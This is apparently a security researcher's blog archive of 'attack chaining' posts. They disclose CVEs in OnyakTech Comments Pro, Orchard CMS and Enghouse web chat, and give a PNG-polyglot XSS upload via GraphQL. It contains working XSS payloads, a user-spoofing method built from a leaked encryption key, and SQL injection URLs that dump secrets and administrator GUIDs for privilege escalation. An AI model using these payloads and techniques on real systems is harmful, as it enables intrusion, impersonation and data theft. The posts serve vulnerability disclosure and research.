Showing posts with label attack chaining. Show all posts
Showing posts with label attack chaining. Show all posts

Saturday, January 17, 2026

PNG Image XSS + Unrestricted File Upload

Sometimes there are pesky scenarios where a site ostensibly only allows images to be uploaded, making RCE and XSS a bit more difficult. Normally, I fall back to SVG XSS, or GIFs which help hide executable code (but, in this case, the only allowed image type was PNG).

This attack chain is for a scenario where the content type and file extension validation logic can be bypassed such that the uploaded PNG (containing a specially crafted XSS payload) is processed as an HTML file. Here's an example:

We have a GraphQL endpoint that allows us to do an Introspection Query and find the upload functionality by interacting with the following mutation:

{"query":"\n        mutation uploadPNG(\n            $rawFile: String!, $id: String!, $fileTitle: String!,         ) {\n            uploadPNG(\n                rawFile: $rawFile, $myId: myIid, fileTitle: $fileTitle,            ) {\n                status\n                   }\n        }\n   ","variables":{"rawFile":"iVBOR....",

"myId":"988932","fileTitle":"mon_petit_fichier"}}

After some trial and error, it is clear that we can't simply upload a base-64 encoded HTML file (or some other helpful executable). We're going to have to work within the bounds of a valid PNG file. Since we're able to add a file extension to the title, and content type to the base-64 string, we'll do that to help control how the file is processed. 

I ask GPT about how PNG files are structured, and ask if there are any loopholes similar to how GIFs can contain valid PHP and still be a valid GIF. Sure enough, there is a place to add plain text in the PNG (it just has to follow the IEND tag). After some experiments, I find that the payload character count also has to be a multiple of four. So our payload is <script>alert(1337);</script>

Once we test that the file still displays as a valid PNG and encode it, we add the base-64 and a few other things to the HTTP request to the /graphql endpoint (specifically, "data:application/html;base64" in the data stream, and ".html" file extension in the fileTitle).

{"query":"\n        mutation uploadPNG(\n            $rawFile: String!, $id: String!, $fileTitle: String!,         ) {\n            uploadPNG(\n                rawFile: $rawFile, $myId: myIid, fileTitle: $fileTitle,            ) {\n                status\n                   }\n        }\n   ","variables":{"rawFile":"data:application/html;base64,iVBORw0KGgoAAAANSUhEUgAAAAUAAAAFCAYAAACNbyblAAAAAXNSR0IArs4c6QAAAFBlWElmTU0AKgAAAAgAAgESAAMAAAABAAEAAIdpAAQAAAABAAAAJgAAAAAAA6ABAAMAAAABAAEAAKACAAQAAAABAAAABaADAAQAAAABAAAABQAAAABtdzLvAAABWWlUWHRYTUw6Y29tLmFkb2JlLnhtcAAAAAAAPHg6eG1wbWV0YSB4bWxuczp4PSJhZG9iZTpuczptZXRhLyIgeDp4bXB0az0iWE1QIENvcmUgNi4wLjAiPgogICA8cmRmOlJERiB4bWxuczpyZGY9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkvMDIvMjItcmRmLXN5bnRheC1ucyMiPgogICAgICA8cmRmOkRlc2NyaXB0aW9uIHJkZjphYm91dD0iIgogICAgICAgICAgICB4bWxuczp0aWZmPSJodHRwOi8vbnMuYWRvYmUuY29tL3RpZmYvMS4wLyI+CiAgICAgICAgIDx0aWZmOk9yaWVudGF0aW9uPjE8L3RpZmY6T3JpZW50YXRpb24+CiAgICAgIDwvcmRmOkRlc2NyaXB0aW9uPgogICA8L3JkZjpSREY+CjwveDp4bXBtZXRhPgoZXuEHAAAAM0lEQVQIHWNkSPx/h4GBQRmI4YBJ7fMDFAGQDBNcGomBVZDlFo9s4OqD6ethCkPtZsYBAODQCef2DI8EAAAAAElFTkQ8c2NyaXB0PmFsZXJ0KDEzMzcpOzwvc2NyaXB0Pq5CYIIK",

"myId":"9889328394283491","fileTitle":"decoded_blue.html"}}

Without proper input sanitization on the server, the XSS will launch when the file is displayed.


Wednesday, July 28, 2021

OnyakTech Comments Pro - Broken Encryption and XSS CVE-2021-33484 and CVE-2021-33483

 

Broken Encryption / User Spoofing (CVE-2021-33484)

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-33484

 

This exploit involves downloading an DotNetNuke module installer for OnyakTech Comments Pro 3.8 and de-compiling it with a tool like JustDecompile. NOTE: it is no longer available for download to my knowledge. 

Comments Pro is used for adding comment section functionality to a site.

After decompiling the installer, I find that one of the code files has an intriguing name like "encryption". This has an IV vector hardcoded in it, woo!

 

 

But where is the encryption key? We need both in order to do a nefarious enough POC. Well, luckily the requests made to the "CommentsService.ashx" endpoint involve two values, one of which is a JSON field called "key" and one called "displayname". Both appear to be encrypted: 


{

‘key’:‘jxc+ ... ||’,

‘atchid’:’2080’,

'userid':'sH8uVoo..|'

‘id’:’212’,

‘commentid’:’212’,

'displayname':'BhX7vunA8 ... BCNaG8sHo|',

'comment':'definitely fine don't worry about it',

‘func’:’addcomment’

}


I notice that when I throw junk values into the "displayname" value, it will throw an error like "Encryption: The input is not a valid Base-64 string", which is displayed where my display name should be:



This tells me I may be able to control decryption from the client side. So, if I wanted to decrypt it to see what the value of the key is - and I sure do - then I can make that the new value for "displayname" and, voila, there's the key displayed on the page!


 

Now that I have the IV, the key, and even the functions in the source code that show how the encryption and decryption is done, let's use it to do something we're not supposed to do. The goal : to spoof users. Even though the application required a login for most areas, this module seemed to ignore it, so I was able to add (spoofed) comments or add/delete my own or others' comments without authentication. By combining these issues with an unrelated user enumeration issue in DotNetNuke, I can encrypt any user's name and their user ID in the request to spoof a given user. It will even pull in their actual profile image (based on their user ID), so it will look legit.


I recently went to get beer with my local DEFCON group (in person - vax for hax!) When I described this out loud, I realized I was having a hard time thinking of a remediation for this type of attack in general. After all, "where to hide the encryption iv/ keys?" is an old problem. But the reverse engineer I was talking to mentioned that the Windows API has it's own encryption that an app could use. I really liked the idea, because it moves control to a deeper layer, to the OS instead of the app. In this particular case, I didn't compromise the server, so the trick of de-compiling would, theoretically, have been foiled by a move like that.


Stored XSS (CVE-2021-33483) 

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-33483


In the request to the "add comment" endpoint described above, drop in a double {{ to escape the JSON for your XSS payload. When another user visits the page containing the comment with the payload, it will execute.

 

i.e.


{

‘key’:‘jxc+ ... ||’,

‘atchid’:’2080’,

'userid':'sH8uVoo..|'

‘id’:’212’,

‘commentid’:’212’,

'displayname':'BhX7vunA8 ... BCNaG8sHo|',

'comment': '{{ <sCript>prompt(800)</sCript>',

‘func’:’addcomment’

}


Sunday, June 6, 2021

SQL Injection & Manual Data Exfiltration (For When SQLMap Won't Work)

This is a new payload that I'm hoping to incorporate into SQLMap soon (here's the feature request).

Assume a field is vulnerable to error-based SQL injection. SQLMap did a good job mapping out the column names and table names, but couldn't return any data rows. Through some trial and error, it becomes clear I can use a convert error and JOIN to display some data one record at a time (since multiple records will not display). Unfortunately, the WHERE and TOP clauses weren't working, so I had to find another way to integrate through the data rows, so I used LEAD() and LAG(). Hurray, I've got some varchar values coming through!

targetsite.com/vulnerablepage.do?badfield=select LEAD(CoolKeys,0,0) OVER (ORDER BY CoolKeys DESC) from CoolTableName join OtherTable on ArbitraryField=AnotherArbitraryField ...etc.

That was a good start...we get a conversion error on the value, so we get the value displayed, i.e.

Conversion failed when converting the varchar value 's3cretKey' to data type int

However, there was one thing I still needed. I really wanted to chain this with a privilege escalation vulnerability I'd found earlier, and if I could get all the GUID user IDs, including the administrators, then I could become a higher privileged user.

The problem was the SQL injection wasn't returning the GUIDs in my injected SELECT statement. It was a more generic SQL error, which isn't helpful. But I found I could use CONCAT to force the conversion error to show it!

targetsite.com/vulnerablepage.do?badfield=select concat(LEAD(GUIDData,0,0) OVER (ORDER BY GUIDData DESC),'hey') from CoolTableName join OtherTable on ArbitraryField=AnotherArbitraryField

 
Now the error will show: [GUID value]hey! Yay, I'm admin!


TL;DR:


1.) Use LEAD and LAG for situations where one row must be returned (and WHERE or TOP 1 etc. isn't working)

 

2.) Use CONCAT to force conversion errors to display uniqueidentifier-type data values through conversion errors


This all applies to bug bounty programs where SQLMap is not allowed, or if that kind of traffic gets you blocked too often.


Tuesday, April 13, 2021

CVE-2020-29592 and CVE-2020-29593 - Orchard CMS Unrestricted File Upload and XSS

 

Note: This is fixed in Orchard 1.10, this post is about Orchard 1.8.1.0.


CVE-2929-29592 - Unrestricted File Upload via Media Folder and TinyMCE HTML Editor:

https://user-images.githubusercontent.com/68610637/101294502-afb75c00-37e5-11eb-8bc4-9745a66e15f5.png

Not allowed because these are the allowed file types:

https://user-images.githubusercontent.com/68610637/101294729-741d9180-37e7-11eb-84e8-fee3143f34b1.png

But we can...

https://user-images.githubusercontent.com/68610637/101294742-88fa2500-37e7-11eb-8141-6092d7de5e6a.png

https://user-images.githubusercontent.com/68610637/101294750-91eaf680-37e7-11eb-9fd8-2b83ebb2a1c2.png 

 Success!

https://user-images.githubusercontent.com/68610637/101294764-a4653000-37e7-11eb-9ffb-9cc44fbb9589.png 

 

CVE-2020-29593 - XSS via Media Types Settings



 



https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-29592

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-29593


Wednesday, September 2, 2020

CVE-2020-13972 - XSS via SSRF in Enghouse/Zeacom web chat

Here's a chained attack of a known SSRF issue (CVE-2019-16948 / CVE-2019-16951 ) in order to get XSS in Enghouse Web Chat 6.2.284.34.

When an attacker enters their own URL in the WebServiceLocation parameter, the response from the POST request is displayed by the application client side, and any JavaScript returned from the external server is executed in the browser.


For example, the attacker injects their URL (ending in /ooowee):


The endpoint at /ooowee is returning a XSS payload as a POST response (using mdonkers script from GitHub for a quick server to spin up):

The XSS payload pops for the client: